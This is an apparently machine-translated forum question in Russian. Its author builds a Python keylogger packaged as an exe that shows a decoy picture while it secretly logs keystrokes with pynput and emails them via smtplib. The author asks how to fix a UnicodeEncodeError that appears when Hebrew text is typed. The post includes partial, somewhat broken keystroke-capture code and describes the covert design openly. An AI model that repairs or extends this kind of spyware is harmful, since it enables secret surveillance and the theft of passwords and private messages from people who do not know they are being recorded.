Исключение smtplib при обработке нажатий клавиш с помощью pynput
TL;DR: обнаружил ошибку, еще не решил ее:
Набор текста на английском (слева), на иврите (справа)
Я создал простой кейлоггер в Python 2.7 на моей машине с Ubuntu (VMware). Созданный exe-файл должен показать картинку и выполнить кейлоггер на заднем плане. Он работает на главном компьютере (хост VMware, Python не установлен), но не на другом компьютере, который у меня есть (такженет Python). Он показывает картинку, но не может отправить письмо, используя smtplib
для обработки нажатий клавиш я использовал pynput следующим образом:
keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()
и proccess_keystrokes это:
def process_key_press(self, key):
try:
current_key = key.char
except AttributeError:
current_key = '{0}'.format(key)
if current_key == 'Key.space':
current_key = " "
else:
if current_key == 'Key.enter':
current_key = "\n"
else:
current_key = " " + current_key + " "
except UnicodeEncodeError:
current_key = " bla "
self.append_to_log(current_key)
теперь он не отправляет ничего на моем компьютере с Windows, кроме первого уведомления о запуске кейлоггера.
Я также попытался запустить из pycharm, и после нескольких секунд работы я получил следующее исключение:
Файл "C:\Users\PC\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py", строка 855, в sendmail msg = _fix_eols(msg).encode('ascii') UnicodeEncodeError: 'ascii кодек не может кодировать символы в позиции 6-11: порядковый номер не в диапазоне (128)
Кто-нибудь знает, что я делаю не так? как правильно разобрать нажатия клавиш? Я попробовал несколько руководств, но не смог найти решение.
Был бы признателен за любую помощь, спасибо.